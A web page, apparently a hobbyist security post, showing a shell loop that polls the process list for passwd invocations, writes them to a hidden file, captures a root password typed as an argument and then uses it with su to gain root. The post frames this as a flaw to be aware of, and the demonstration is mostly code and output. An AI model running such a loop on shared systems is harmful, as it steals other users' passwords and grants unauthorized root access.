Visits

[+/-]
Today:
Yesterday:
Day before yesterday:
348
517
481

+36
This week:
Last week:
Week before last week:
2207
2962
3860

-898

Last month:
Month before last month:
8465
15650
24339

-8689

Visitor Data

IP ADDRESS
38.107.179.210
-
Location
United States
-
Browser
Unknown Browser
-
Operating System
Unknown Operating System


   
Add to: JBookmarks Add to: Bookmarks.cc Add to: Digg Add to: Reddit Add to: Upchuckr Add to: StumbleUpon Add to: Slashdot Add to: Blogmarks Add to: Technorati Add to: Newsvine Add to: Blinkbits Add to: Smarking Add to: Spurl Add to: Google Information
Using passwd is insecure

By: This e-mail address is being protected from spambots. You need JavaScript enabled to view it

This is not a exploit. This is simply a Security flaw in my opinion with passwd and the process list.

 

[pranq@base ~]$ cat test.sh
#!/bin/sh
while [ true ]; do
sleep 1
ps auxw |grep passwd >> .pass
done
[pranq@base ~]$
[pranq@base ~]$ chmod 755 test.sh ; ./test.sh &

 

*Waits for someone to change their password*

 

"Of course you can hide this also, but thats not my point. I'm just showing how it works"

 

[pranq@base ~]$ cat .pass

root     22349  0.0  0.2   2220   856 pts/0    S+   19:46   0:00 passwd root r3b3l

root     22349  1.0  0.2   2220   856 pts/0    S+   19:46   0:00 passwd root r3b3l

root     22349  0.5  0.2   2220   856 pts/0    S+   19:46   0:00 passwd root r3b3l

root     22349  0.2  0.2   2220   856 pts/0    S+   19:46   0:00 passwd root r3b3l

[pranq@base ~]$ su
Password:
[root@base ~]# exit
exit
[pranq@base ~]$

 

So keep this in mind when your setting your passwords. I think its retarded how they ps source doesnt have a wrapper to keep passwd out of the process list to anyone except root.. I'm shure they're are reasons. Who knows.

 

Provided by LegitCode.com it may be published only with author details included!